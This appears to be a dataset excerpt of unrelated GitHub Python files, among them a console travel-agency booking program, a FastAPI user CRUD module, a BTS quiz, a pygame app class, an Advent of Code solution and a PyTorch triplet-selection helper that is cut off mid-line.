:\")\r\n with open(\"project1.csv\",'r')as newfile:\r\n newfilereader=csv.reader(newfile)\r\n for row in newfilereader:\r\n for x in row:\r\n print('\\t',x,end=' ')\r\n## print()\r\n## print(row)\r\n newfile.close()\r\n print(\"\\n\\n\\tTHANKYOU FOR BOOKING....OUR ADMINISTRATORS WILL CONTACT YOU...\")\r\n print(\"\\n\\n\\t\\t\\t\\tSEE YOU SOON.... :)\")\r\n\r\n\r\n\r\n\r\n##to cancel a product by an user\r\n\r\n \r\ndef cancel():\r\n import csv\r\n print(\"\\n\\n\\t\\t\\t\\t\\tCANCELLATION.....\")\r\n did=int(input(\"\\n\\n\\tEnter your User ID :\"))\r\n cur.execute(\"select user_id from custab\")\r\n pkgid=int(input(\"\\tEnter the Package ID you need to cancel :\"))\r\n lines=list()\r\n delid=did\r\n with open(\"project1.csv\",'r')as readfile:\r\n reader=csv.reader(readfile)\r\n for row in reader:\r\n lines.append(row)\r\n for field in row:\r\n if field==did:\r\n lines.remove(row)\r\n with open(\"project1.csv\",'w',newline='')as writefile:\r\n writer=csv.writer(writefile)\r\n writer.writerows(lines)\r\n writefile.close()\r\n print(\"\\n\\n\\n\\t\\t\\tTHE ORDER CANCELLED SUCCESSFULLY....\")\r\n print(\"\\n\\t\\t\\tTHANKYOU FOR CONTACTING US....\")\r\n print(\"\\n\\n\\n\\t\\t\\t\\t\\tSEE YOU SOON :)\")\r\n\r\n ##MAIN MENU\r\n\r\n \r\n\r\nprint(\" WELCOME TO SKY HIGH TRAVELS \".center(100,\"*\"))\r\nprint(\" DREAM SKY HIGH :) ;)..! \".center(100,\"*\"))\r\nprint(\"Sky High Travels Ltd. Mumbai\".center(100))\r\nprint(\"Contact: skyhitravels@gmail.com , Ph. 9355728884,8744888234\".center(100))\r\nprint()\r\ns='#'*100\r\nprint(s.center(100))\r\np=input(\"\\n\\n\\n\\t\\tPress enter key to continue :\")\r\nwhile True:\r\n print(\"\\n\\n\\tLogin as :\")\r\n print(\"\\n\\t1 :Admin/Organiser\")\r\n print(\"\\t2 :Client/User\")\r\n print(\"\\t3 :Create a new account\")\r\n dis=int(input(\"\\nPlease enter your choice :\"))\r\n if dis==1:\r\n lgid=[]\r\n print()\r\n print()\r\n print(\" EXECUTIVE PANEL \".center(100,\"%\"))\r\n idd=input(\"\\n\\n\\tPlease Enter your OR_ID :\")\r\n lgid.append(idd)\r\n b=tuple(lgid)\r\n cur.execute(\"select or_id from orgtab\")\r\n sm=cur.fetchall()\r\n if b not in sm:\r\n print(\"\\n\\t\\tWRONG ID... :(\")\r\n break\r\n while True:\r\n print(\"\\n\\n\\t\\tWHAT DO YOU WANT TO DO??\")\r\n print(\"\\n\\t\\tSELECT THE REQUIRED FIELD :\")\r\n print(\"\\n\\t1 :ORGANISER SECTION\")\r\n print(\"\\t2 :PACKAGE SECTION\")\r\n print(\"\\t3 :CLIENT SECTION\")\r\n sh=int(input(\"\\n\\n\\tPlease enter your choice :\"))\r\n if sh==1:\r\n print()\r\n print()\r\n print(\" ORGANISER SECTION \".center(100,'^'))\r\n print(\"\\n\\n\\tCONTENTS :\")\r\n print(\"\\n\\t1 :ADD A MEMBER\")\r\n print(\"\\t2 :VIEW MEMBERS\")\r\n print(\"\\t3 :UPDATE BIO OF MEMBERS\")\r\n print(\"\\t4 :DELETE A MEMBER\")\r\n print(\"\\t5 :GO BACK\")\r\n print(\"\\t6 :EXIT\")\r\n cho=int(input(\"\\n\\n\\tPlease enter your choice :\"))\r\n if cho==1:\r\n new_org()\r\n elif cho==2:\r\n view_org()\r\n elif cho==3:\r\n upd_org()\r\n elif cho==4:\r\n del_org()\r\n elif cho==5:\r\n q=input(\"\\n\\nAre you sure you sure to go back?? \")\r\n elif cho==6:\r\n q=input(\"\\nAre you sure you sure to quit?? \")\r\n print()\r\n print()\r\n print(\" THANKYOU..! \".center(60,'*'))\r\n print()\r\n print(\" VISIT AGAIN..! \".center(60,'*'))\r\n exit()\r\n else:\r\n print(\"\\n\\n\\t\\tPLEASE ENTER A VALID OPTION AND TRY AGAIN :)\")\r\n elif sh==2:\r\n print()\r\n print()\r\n print(\" PACKAGE SECTION \".center(100,'^'))\r\n print(\"\\n\\n\\tCONTENTS :\")\r\n print(\"\\n\\n\\t1 :ADD A NEW PACKAGE\")\r\n print(\"\\t2 :VIEW THE PACKAGES\")\r\n print(\"\\t3 :UPDATE PACKAGE (like changing place name,increase/decresase budget etc.)\")\r\n print(\"\\t4 :CANCEL A PACKAGE\")\r\n print(\"\\t5 :GO BACK\")\r\n print(\"\\t6 :EXIT\")\r\n cho=int(input(\"Please enter your choice :\"))\r\n if cho==1:\r\n package_new()\r\n elif cho==2:\r\n display()\r\n elif cho==3:\r\n update_pack()\r\n elif cho==4:\r\n del_pack()\r\n elif cho==5:\r\n q=input(\"\\n\\nAre you sure you sure to go back?? \")\r\n elif cho==6:\r\n q=input(\"\\nAre you sure you sure to quit?? \")\r\n print()\r\n print()\r\n print(\" THANKYOU..! \".center(60,'*'))\r\n print()\r\n print(\" VISIT AGAIN..! \".center(60,'*'))\r\n exit()\r\n else:\r\n print(\"\\n\\n\\t\\tPLEASE ENTER A VALID VALUE ANDD TRY AGAIN :)\")\r\n \r\n \r\n elif sh==3:\r\n print()\r\n print()\r\n print(\" CLIENT SECTION \".center(100,'^'))\r\n print(\"\\n\\n\\tCONTENTS :\")\r\n print(\"\\n\\n\\t1 :ADD A NEW CLIENT\")\r\n print(\"\\t2 :VIEW/SEARCH CLIENTS\")\r\n print(\"\\t3 :UPDATE CLIENT BIO\")\r\n print(\"\\t4 :DELETE A CLIENT\")\r\n print(\"\\t5 :GO BACK\")\r\n print(\"\\t6 :EXIT\")\r\n cho=int(input(\"\\n\\tPlease enter your choice :\"))\r\n if cho==1:\r\n add_clnt()\r\n elif cho==2:\r\n clnt_view()\r\n elif cho==3:\r\n clnto_upd()\r\n elif cho==4:\r\n del_clnt()\r\n elif cho==5:\r\n q=input(\"\\n\\nAre you sure you sure to go back?? \")\r\n elif cho==6:\r\n q=input(\"\\nAre you sure you sure to quit?? \")\r\n print()\r\n print()\r\n print(\" THANKYOU..! \".center(60,'*'))\r\n print()\r\n print(\" VISIT AGAIN..! \".center(60,'*'))\r\n exit()\r\n else:\r\n print(\"\\n\\n\\tPlease enter the correct choice and try again :)\")\r\n elif dis==2:\r\n ugid=[]\r\n print()\r\n print()\r\n print(\" USER PANEL \".center(100,'%'))\r\n idd=int(input(\"\\n\\n\\tPlease enter your User ID :\"))\r\n ugid.append(idd)\r\n c=tuple(ugid)\r\n cur.execute(\"select user_id from custab\")\r\n mm=cur.fetchall()\r\n if c not in mm:\r\n print(\"\\n\\n\\t\\tWRONG ID... :(\")\r\n break\r\n while True:\r\n print(\"\\n\\n\\t\\tWHAT DO YOU WANT TO DO??\")\r\n print(\"\\n\\t\\tSELECT THE REQUIRED FIELD :\")\r\n print(\"\\n\\t1 :VIEW YOUR BIO\")\r\n print(\"\\t2 :VIEW PACKAGES\")\r\n print(\"\\t3 :BOOK A PACKAGE\")\r\n print(\"\\t4 :CANCEL BOOKING\")\r\n print(\"\\t5 :EDIT YOUR BIO\")\r\n print(\"\\t6 :EXIT\")\r\n sho=int(input(\"\\n\\n\\tPlease enter your choice :\"))\r\n if sho==1:\r\n vw_bio()\r\n elif sho==2:\r\n display()\r\n elif sho==3:\r\n book()\r\n elif sho==4:\r\n cancel()\r\n elif sho==5:\r\n clnt_upd()\r\n else:\r\n q=input(\"\\nAre you sure you sure to quit?? \")\r\n print()\r\n print()\r\n print(\" THANKYOU..! \".center(60,'*'))\r\n print()\r\n print(\" VISIT AGAIN..! \".center(60,'*'))\r\n exit()\r\n \r\n elif dis==3:\r\n print()\r\n print()\r\n print(\" NEW ACCOUNT \".center(100,'*'))\r\n nm=input(\"\\n\\n\\tPlease enter your name :\")\r\n ph=input(\"\\tPlease enter your phone no :\")\r\n add=input(\"\\tPlease enter your address :\")\r\n data=(nm,ph,add)\r\n cur.execute(\"insert into custab(cusname,pn_no,address)values(%s,%s,%s)\",(data))\r\n print()\r\n print()\r\n print(cur.rowcount,\"Records Inserted Successfully...!\")\r\n conn.commit()\r\n print(\"\\n\\n\\tYOUR USER ID IS :\")\r\n cur.execute(\"select user_id from custab where pn_no='{}'\".format(ph))\r\n for i in cur:\r\n a=[i]\r\n print(\"\\t\\t\\t\",i[0])\r\n print(\"\\n\\n\\tPLEASE USE THIS ID TO LOGIN NEXT TIME :)\")\r\n upq=input(\"\\n\\n\\tDo you want to book a package?? press y/n :\")\r\n if upq.lower()=='y':\r\n book()\r\n else:\r\n print(\"\\n\\n\\t\\tFOR FURTHER DETAILS PLEASE CONTACT OUR ADMINISTRATORS :)\")\r\n print()\r\n print()\r\n print(\" THANKYOU FOR CONTACTING US :) \".center(60,'*'))\r\n \r\n \r\n else:\r\n print(\"\\n\\n\\tPlease enter the correct choice and try again :)\")\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n","repo_name":"chriz-ty/Travel-agency-SampleSoftware","sub_path":"project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":23367,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"20387284393","text":"from fastapi import HTTPException\nfrom sqlalchemy import select, insert, update, delete\nfrom login_website import models, schemas, password_tool\nfrom starlette.status import HTTP_401_UNAUTHORIZED, HTTP_404_NOT_FOUND\n\n\nasync def get_user_by_id(connection, user_id: int) -> models.UserDB:\n stmt = select(schemas.User).where(\n schemas.User.user_id == user_id)\n result = await connection.fetch_one(stmt)\n if result is None:\n return result\n return models.UserDB(**result)\n\n\nasync def get_user_by_email(connection, user_email: str) -> models.UserDB:\n stmt = select(schemas.User).where(\n schemas.User.user_email == user_email)\n result = await connection.fetch_one(stmt)\n if result is None:\n return result\n return models.UserDB(**result)\n\n\nasync def create_user(connection, user: models.User) -> models.UserDB:\n stmt = insert(schemas.User).values(\n **user.dict(exclude={\"user_password\"}), user_hashed_password=password_tool.get_hashed_password(user.user_password))\n user_id = await connection.execute(stmt)\n # insert new user_id in users_profile table\n await connection.execute(insert(schemas.UserProfile).values(user_id=user_id))\n return await get_user_by_id(connection, user_id)\n\n\nasync def update_user_info(connection, userInfoUpdate: models.UserInfoUpdate):\n # get user_id by user_email\n user_id = (await get_user_by_email(connection, userInfoUpdate.user_email)).user_id\n stmt = update(schemas.User).where(schemas.User.user_id == user_id).values(\n user_nickname=userInfoUpdate.user_nickname).values(user_birthday=userInfoUpdate.user_birthday)\n await connection.execute(stmt)\n return\n\n\nasync def update_user_profile(connection, user_email, user_profile: bytes):\n # get user_id by user_email\n user_id = (await get_user_by_email(connection, user_email)).user_id\n stmt = update(schemas.UserProfile).where(schemas.UserProfile.user_id == user_id).values(\n user_profile=user_profile\n )\n await connection.execute(stmt)\n return\n\n\nasync def get_user_profile(connection, user_email):\n # get user_id by user_email\n user_id = (await get_user_by_email(connection, user_email)).user_id\n stmt = select(schemas.UserProfile.user_profile).where(\n schemas.UserProfile.user_id == user_id)\n result = (await connection.fetch_one(stmt))[0]\n return result\n\n\nasync def get_user_or_404(connection, user_email: str) -> models.UserDB:\n user = await get_user_by_email(connection, user_email)\n if user is None:\n raise HTTPException(status_code=HTTP_404_NOT_FOUND)\n return user\n","repo_name":"Zhima-Mochi/login-website","sub_path":"login-website/login_website/crud.py","file_name":"crud.py","file_ext":"py","file_size_in_byte":2601,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"19"} +{"seq_id":"415492376","text":"from time import sleep\nresposta = input\n\n#Função para mostrar o titulo\ndef titulo():\n print('\\n=======================')\n print('\\tBTS QUIZ')\n print('=======================')\n \n#Primeira Pergunta \ndef pergunta1():\n resposta1 = input('\\nQual o nome do membro mais velho (Hyung) do BTS?\\nResposta: ')\n return resposta1\n \n \n#Segunda Pergunta\ndef pergunta2():\n resposta2 = input('\\nEm que ano o grupo debutou?\\nResposta: ') \n return resposta2\n \n#Terceira Pergunta\ndef pergunta3():\n resposta3 = input('\\nPor quantos membros a Vocal Line é formada? \\nResposta: ')\n return resposta3\n \n#Quarta Pergunta\ndef pergunta4():\n resposta4 = input('\\nQuem é o maknae do grupo? \\nResposta: ')\n return resposta4\n \n#Quinta Pergunta\ndef pergunta5():\n resposta5 = input('\\nQue membro utiliza o nome artístico \"RM\"?\\nResposta: ')\n return resposta5\n\nperguntaAtual = 1\nwhile perguntaAtual <= 5:\n if perguntaAtual == 1:\n resposta = pergunta1()\n if resposta == \"Jin\":\n perguntaAtual += 1\n\n if perguntaAtual == 2:\n resposta = pergunta2()\n if resposta == \"2013\":\n perguntaAtual += 1\n\n if perguntaAtual == 3:\n resposta = pergunta3()\n if resposta in [\"4\", \"quatro\"]:\n perguntaAtual += 1\n\n if perguntaAtual == 4:\n resposta = pergunta4()\n if resposta == \"JK\":\n perguntaAtual += 1\n\n if perguntaAtual == 5:\n resposta = pergunta5()\n if resposta == \"Namjoon\":\n perguntaAtual += 1\n\nprint(\"Parabéns, você acertou todas!!!\")\n\n\n ","repo_name":"emanoelbarreiros/exemplospyxel","sub_path":"aula/bts.py","file_name":"bts.py","file_ext":"py","file_size_in_byte":1606,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"912410698","text":"import pygame\nfrom Aliens.MainMenuScene.mainmenuscene import MainMenuScene\nfrom Aliens.GameMenuScene.gamemenuscene import GameMenuScene\nfrom Aliens.EndlessModeScene.endlessmodescene import EndlessModeScene\nfrom Aliens.SettingsScene.settingsscene import SettingsScene\nfrom Aliens.StatisticsScene.statisticsscene import StatisticsScene\nfrom Aliens.Profile.load_profiles import load_profiles\nfrom Aliens.Profile.save_profiles import save_profiles\nfrom Aliens.ProfilesScene.profilesscene import ProfileScene\nfrom Aliens.UpgradesScene.upgradesscene import UpgradesScene\nfrom Aliens.OnlineScoresScene.onlinescoresscene import OnlineHighScoresScene\nfrom Aliens.InstructionsScene.instructionsscene import InstructionsScene\nfrom Aliens.background import EndlessBackground\nfrom Aliens import SETTINGS\nfrom sys import exit\n\n\nclass App:\n def __init__(self):\n # pygame setup\n pygame.init()\n pygame.display.set_caption(SETTINGS.WINDOW_TITLE)\n # screen setup\n if SETTINGS.FULLSCREEN:\n self.screen = pygame.display.set_mode((SETTINGS.WINDOW_WIDTH, SETTINGS.WINDOW_HEIGHT), pygame.FULLSCREEN)\n else:\n self.screen = pygame.display.set_mode((SETTINGS.WINDOW_WIDTH, SETTINGS.WINDOW_HEIGHT))\n pygame.display.set_icon(pygame.image.load(\"Data/Sprites/icon.png\").convert_alpha())\n # prepare endless background\n self.background = EndlessBackground()\n # temp profile selection\n self.profiles = load_profiles()\n self.current_profile = self.profiles[0]\n self.profile_selected = False\n # game setup\n self.is_running = True\n self.game_scenes = {\n MainMenuScene.__name__: MainMenuScene(self),\n ProfileScene.__name__: ProfileScene(self),\n GameMenuScene.__name__: GameMenuScene(self),\n EndlessModeScene.__name__: EndlessModeScene(self),\n SettingsScene.__name__: SettingsScene(self),\n StatisticsScene.__name__: StatisticsScene(self),\n UpgradesScene.__name__: UpgradesScene(self),\n OnlineHighScoresScene.__name__: OnlineHighScoresScene(self),\n InstructionsScene.__name__: InstructionsScene(self)\n }\n self.current_scene = self.game_scenes[MainMenuScene.__name__]\n\n def close_app(self):\n if SETTINGS.AUTO_SAVE:\n save_profiles(self.profiles)\n # save user settings to file\n SETTINGS.save_settings()\n self.is_running = False\n pygame.quit()\n exit()\n\n def refactor_ui(self):\n pygame.display.quit()\n pygame.display.init()\n pygame.display.set_caption(SETTINGS.WINDOW_TITLE)\n if SETTINGS.FULLSCREEN:\n self.screen = pygame.display.set_mode((SETTINGS.WINDOW_WIDTH, SETTINGS.WINDOW_HEIGHT), pygame.FULLSCREEN)\n else:\n self.screen = pygame.display.set_mode((SETTINGS.WINDOW_WIDTH, SETTINGS.WINDOW_HEIGHT))\n pygame.display.set_icon(pygame.image.load(\"Data/Sprites/icon.png\").convert_alpha())\n self.background.refactor()\n for scene in self.game_scenes.values():\n scene.refactor_ui()\n\n def run(self):\n while self.is_running:\n self.current_scene.update()\n self.current_scene.render(self.screen)\n self.current_scene.handle_events(pygame.event.get())\n","repo_name":"Cozynosky/Aliens","sub_path":"Aliens/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3341,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"71095526762","text":"from preprocessing import *\n\ndef main():\n '''Driver function to demo preprocessing. Given a path to a directory of \n source microscopy images, will perform edge detection via a high pass filter\n and return the labels (i.e. distances to the focal plane) and file paths of \n clean image data with distances capped at distance_cap.'''\n\n # Set variable values to get some output with sample_data images\n SRC_PATH = \"../sample_data/level1/\"\n HPF_PATH = \"../sample_data/demo_hpf_jpegs/\"\n src_ext = \"tiff\"\n hpf_ext = \"jpeg\"\n hpf_kernel_size = 13\n img_height = 1200\n img_width = 1920\n intensity_thresh = 0.50\n # This edge area percentage threshold is lower than what we might use in\n # practice, but it should let the demo find \"clean\" images in sample_data.\n eap_thresh = 0.05\n distance_cap = 20\n\n # Run through preprocessing steps\n src_img_paths = get_img_paths(SRC_PATH, src_ext)\n print(\"Performing edge detection with high pass filter...\")\n filter_imgs(src_img_paths, hpf_kernel_size, HPF_PATH, hpf_ext)\n print(\"Parsing distances to the focal plane and image coordinates from filenames...\")\n labels, all_coords, img_paths = get_filename_data(HPF_PATH, ext=hpf_ext, quiet=False)\n print(\"Finding clean images...\")\n clean_infocus_coords = get_clean_infocus_coords(all_coords, labels, img_paths, \n img_height, img_width, \n intensity_thresh=intensity_thresh, \n eap_thresh=eap_thresh)\n clean_labels, clean_paths = get_clean_data(clean_infocus_coords, all_coords, \n labels, img_paths)\n print(\"Applying cap to clean images...\")\n capped_labels, capped_paths = get_capped_data(clean_labels, clean_paths, \n cap=distance_cap)\n # Print out example filenames of clean images below cap\n show_found = min(5, len(capped_paths))\n print(\"Images above edge area percentage threshold and below focal distance cap:\",len(capped_paths))\n print(\"Found:\")\n for i in range(show_found):\n print(capped_paths[i])\n print(\"And {} others.\".format(len(capped_paths) - show_found))\n return\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"evanmacbride/microscope-autofocus","sub_path":"tools/preprocessing_demo.py","file_name":"preprocessing_demo.py","file_ext":"py","file_size_in_byte":2264,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"19"} +{"seq_id":"32877462807","text":"class Human():\n\tdef __init__(self, name: str, age: int, living_place=None):\n\t\tself.name = name\n\t\tself.age = age\n\t\tself.living_place = living_place\n\tdef move(self, building):\n\t\tself.living_place = building\n\t\tbuilding.inhabitants.append(self)\n\nclass Building():\n\tdef __init__(self, address: str, inhabitants: list = []):\n\t\tself.address = address\n\t\tself.inhabitants = inhabitants\nclass City():\n\tdef __init__(self, name: str, buildings: list = []):\n\t\tself.name = name\n\t\tself.buildings = buildings\n\tdef construct(self, address):\n\t\tnew_building = Building(address)\n\t\tself.buildings.append(new_building)\n\t\treturn new_building\n\n\tdef info(self):\n\t\tage_sum = 0\n\t\tpopulation = 0\n\t\tfor building in self.buildings:\n\t\t\tfor citizen in building.inhabitants:\n\t\t\t\tpopulation += 1\n\t\t\t\tage_sum += citizen.age\n\t\t\t\tavg_age = age_sum / population\n\t\treturn f'There are {len(self.buildings)} buildings in {self.name} with the average age of inhabitants - {avg_age}'\n\ncity = City('New England')\n\nh1 = Human('Cale', 21)\nh2 = Human('Alex', 22)\nh3 = Human('Rudy', 43)\nh4 = Human('Anna', 34)\nh5 = Human('Bruce', 56)\nh6 = Human('Olga', 13)\nh7 = Human('Maria', 26)\nh8 = Human('Daria', 28)\n\nb1 = city.construct('Ratnaya street 2')\nb2 = city.construct('Ratnaya street 7')\nb3 = city.construct('Ratnaya street 9')\n\nh7.move(b3)\nh5.move(b2)\nh1.move(b1)\nh3.move(b3)\nh4.move(b1)\nh2.move(b2)\nh6.move(b3)\nh8.move(b1)\n\nprint(city.info())","repo_name":"GlebKhvoles/DI-FullStack-Bootcamp-Python","sub_path":"Week-9/Day-4/ExerciseXP/ExerciseXP.py","file_name":"ExerciseXP.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"20004379037","text":"def get_network(network_name, logger):\n network_name = network_name.lower()\n if network_name == 'transforce':\n from .swin_transformer_v2.trans_forcer import TransForcer\n img_shape = (256, 256)\n checkout_path = \"backbones/cifar10_swin_t_deformable_best_model_backbone.pt\"\n decoder_params = {\"depth\": 4, \"hidden_dim\": 96, \"norm_type\": dict(type=\"BN\"), \"act_type\": dict(type=\"LeakyReLU\")}\n net = TransForcer(in_channels=6, window_size=8, input_shape=img_shape, checkout_path=checkout_path,\n use_checkout=True, logger=logger, **decoder_params)\n return net\n elif network_name == 'unet':\n from .UNet.UNet import UNet\n net = UNet(in_channels=6, num_classes=3)\n return net\n elif network_name == 'grconvnet':\n from .grconvnet.grconvnet3 import GenerativeResnet\n net = GenerativeResnet(input_channels=6)\n return net\n elif network_name == 'resnet':\n from .ResNet_FCN.resnet_fcn import resnet_fcn\n net = resnet_fcn()\n return net\n elif network_name == 'swinunet':\n from .SwinUnet.vision_transformer import SwinUnet\n from .SwinUnet.train import get_all_config\n args, config = get_all_config()\n net = SwinUnet(config, img_size=args.img_size, num_classes=args.num_classes)\n return net\n elif network_name == 'fuseswinunet':\n from .Fuse_Swinunet.vision_transformer import SwinUnet\n from .Fuse_Swinunet.train import get_all_config\n args, config = get_all_config()\n net = SwinUnet(config, img_size=args.img_size, num_classes=args.num_classes)\n return net\n elif network_name == 'swintransformer_all':\n from .Swintransformer_all.vision_transformer import SwinUnet_all\n from .Swintransformer_all.train import get_all_config\n args, config = get_all_config()\n net = SwinUnet_all(config, img_size=args.img_size, num_classes=args.num_classes)\n return net\n elif network_name == 'fuse_swinunet_no_cross':\n from .Fuse_Swinunet_no_cross.vision_transformer import SwinUnet_nocross\n from .Fuse_Swinunet_no_cross.train import get_all_config\n args, config = get_all_config()\n net = SwinUnet_nocross(config, img_size=args.img_size, num_classes=args.num_classes)\n return net\n elif network_name == 'swin_uper':\n from .Swin_Uper.SwinDRNet import SwinDRNet\n from .Swin_Uper.config import get_config\n config = get_config()\n net = SwinDRNet(config, img_size=config.DATA.IMG_SIZE, num_classes=config.DATA.NUMCLASSES).cuda()\n return net\n","repo_name":"HaixinYuxyz/force_map","sub_path":"model/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"15471820424","text":"#!/bin/python3\n\n\ndef parse(rule):\n i, vs = rule.split(': ')\n i = int(i)\n if vs == '\"a\"' or vs == '\"b\"':\n return i, vs[1]\n vs = [v.strip().split(' ') for v in vs.split('|')]\n vs = tuple([list(int(n) for n in v) for v in vs])\n return i, vs\n\n\nrules, msgs = open('19.input').read().split('\\n\\n')\nrules = dict([parse(r) for r in rules.splitlines()])\n\n\ndef count_determined(rule):\n if type(rule) == int:\n return 0.1\n\n if type(rule) == str:\n return 1\n\n if type(rule) == list or type(rule) == tuple:\n z = 0\n q = 1 / (len(rule) * len(rule))\n for variant in rule:\n z += q * count_determined(variant)\n return z\n\n\ndef determined(i):\n rule = rules[i]\n return count_determined(rule)\n\n\ndef propagate_next(i, r):\n if type(r) == str:\n return\n if type(r) == tuple:\n for n in r:\n propagate_next(i, n)\n if type(r) == list:\n for n in range(len(r)):\n if r[n] == i:\n r[n] = rules[i]\n\n\ndef propagate(i):\n for k, r in rules.items():\n propagate_next(i, r)\n\n\ndef simplified(r):\n if type(r) == str:\n return r\n if type(r) == tuple and len(r) == 1:\n return simplified(r[0])\n if type(r) == list and all([type(c) == str for c in r]):\n return ''.join(r)\n if type(r) == tuple:\n return tuple([simplified(n) for n in r])\n if type(r) == list:\n return list([simplified(n) for n in r])\n return r\n\n\ndef simplify():\n for k, r in rules.items():\n rules[k] = simplified(r)\n\n\npq = list(rules.keys())\n\nfor i in range(60):\n pq = sorted(pq, key=determined, reverse=True)\n node, *pq = pq\n propagate(node)\n simplify()\n\nfor i in sorted(rules.keys(), key=determined):\n print(f'{i:3} {rules[i]} ({determined(i)})')\n\n# 0: 1 2\n# 1: \"a\"\n# 2: 1 3 | 3 1\n# 3: \"b\"\n\n# Some rules, like 3: \"b\", simply match a single character (in this case, b).\n\n# The remaining rules list the sub-rules that must be followed; for example, the rule 0: 1 2 means that to match rule 0, the text being checked must match rule 1, and the text after the part that matched rule 1 must then match rule 2.\n\n# Some of the rules have multiple lists of sub-rules separated by a pipe (|). This means that at least one list of sub-rules must match. (The ones that match might be different each time the rule is encountered.) For example, the rule 2: 1 3 | 3 1 means that to match rule 2, the text being checked must match rule 1 followed by rule 3 or it must match rule 3 followed by rule 1.\n\n# Fortunately, there are no loops in the rules, so the list of possible matches will be finite. Since rule 1 matches a and rule 3 matches b, rule 2 matches either ab or ba. Therefore, rule 0 matches aab or aba.\n\n# Here's a more interesting example:\n\n# 0: 4 1 5\n# 1: 2 3 | 3 2\n# 2: 4 4 | 5 5\n# 3: 4 5 | 5 4\n# 4: \"a\"\n# 5: \"b\"\n\n# Here, because rule 4 matches a and rule 5 matches b, rule 2 matches two letters that are the same (aa or bb), and rule 3 matches two letters that are different (ab or ba).\n\n# Since rule 1 matches rules 2 and 3 once each in either order, it must match two pairs of letters, one pair with matching letters and one pair with different letters. This leaves eight possibilities: aaab, aaba, bbab, bbba, abaa, abbb, baaa, or babb.\n\n# Rule 0, therefore, matches a (rule 4), then any of the eight options from rule 1, then b (rule 5): aaaabb, aaabab, abbabb, abbbab, aabaab, aabbbb, abaaab, or ababbb.\n\n# The received messages (the bottom part of your puzzle input) need to be checked against the rules so you can determine which are valid and which are corrupted. Including the rules and the messages together, this might look like:\n\n# 0: 4 1 5\n# 1: 2 3 | 3 2\n# 2: 4 4 | 5 5\n# 3: 4 5 | 5 4\n# 4: \"a\"\n# 5: \"b\"\n\n# ababbb\n# bababa\n# abbbab\n# aaabbb\n# aaaabbb\n\n# Your goal is to determine the number of messages that completely match rule 0. In the above example, ababbb and abbbab match, but bababa, aaabbb, and aaaabbb do not, producing the answer 2. The whole message must match all of rule 0; there can't be extra unmatched characters in the message. (For example, aaaabbb might appear to match rule 0 above, but it has an extra unmatched b on the end.)\n\n# How many messages completely match rule 0?\n","repo_name":"Arctice/advent-of-code","sub_path":"2020/19.py","file_name":"19.py","file_ext":"py","file_size_in_byte":4269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"348021893","text":"from itertools import combinations, permutations\nimport numpy as np\nimport torch\nimport torch.nn as nn\nfrom sklearn.metrics.pairwise import euclidean_distances, cosine_similarity\n\n\nclass AllTripletSelector():\n\t\"\"\"\n Returns all possible triplets\n May be impractical in most cases\n\t\"\"\"\n\t\n\tdef __init__(self):\n\t\tpass\n\t\n\tdef get_triplets(self, embeddings, labels):\n\t\tlabels = labels.cpu().data.numpy()\n\t\ttriplets = []\n\t\tfor label in set(labels):\n\t\t\tlabel_mask = (labels == label)\n\t\t\tlabel_indices = np.where(label_mask)[0]\n\t\t\tif len(label_indices) < 2:\n\t\t\t\tcontinue\n\t\t\tnegative_indices = np.where(np.logical_not(label_mask))[0]\n\t\t\t# All anchor-positive pairs\n\t\t\tanchor_positives = list(combinations(label_indices, 2))\n\t\t\t\n\t\t\t# Add all negatives for all positive pairs\n\t\t\ttemp_triplets = [[anchor_positive[0], anchor_positive[1], neg_ind] for anchor_positive in anchor_positives\n\t\t\t for neg_ind in negative_indices]\n\t\t\ttriplets += temp_triplets\n\t\t\n\t\treturn torch.LongTensor(np.array(triplets))\n\ndef batch_all(loss_values):\n\thard_negatives = np.where(loss_values > 0)[0]\n\treturn list(hard_negatives) if len(hard_negatives) > 0 else None\n\ndef hardest_negative(loss_values):\n\thard_negative = np.argmax(loss_values)\n\treturn hard_negative if loss_values[hard_negative] > 0 else None\n\n\ndef random_hard_negative(loss_values):\n\thard_negatives = np.where(loss_values > 0)[0]\n\treturn np.random.choice(hard_negatives) if len(hard_negatives) > 0 else None\n\n\ndef semihard_negative(loss_values, margin):\n\tsemihard_negatives = np.where(np.logical_and(loss_values < margin, loss_values > 0))[0]\n\t# return np.random.choice(semihard_negatives) if len(semihard_negatives) > 0 else None\n\treturn semihard_negatives[np.argmax(loss_values[semihard_negatives])] if len(semihard_negatives) > 0 else None\n\t\n\nclass FunctionNegativeTripletSelector():\n\t\"\"\"\n For each positive pair, takes the hardest negative sample (with the greatest triplet loss value) to create a triplet\n Margin should match the margin used in triplet loss.\n negative_selection_fn should take array of loss_values for a given anchor-positive pair and all negative samples\n and return a negative index for that pair\n\t\"\"\"\n\t\n\tdef __init__(self, margin, negative_selection_fn, all_positive=True, cpu=True, squared=True):\n\t\tself.cpu = cpu\n\t\tself.margin = margin\n\t\tself.negative_selection_fn = negative_selection_fn\n\t\tself.all_positive = all_positive\n\t\tself.squared=squared\n\t\n\tdef pdist(self, vectors):\n\t\tdistance_matrix = -2 * vectors.mm(torch.t(vectors)) + vectors.pow(2).sum(dim=1).view(1, -1) + vectors.pow(\n\t\t\t2).sum(dim=1).view(-1, 1)\n\t\t# 未知原因,主对角线会出现负数,例如-4.3e-7,之类的很小的负数\n\t\t# 简单粗暴的把对角线都置为0\n\t\tindex = [i for i in range(len(distance_matrix))]\n\t\tdistance_matrix[index, index] = 0\n\t\t# distance_matrix += 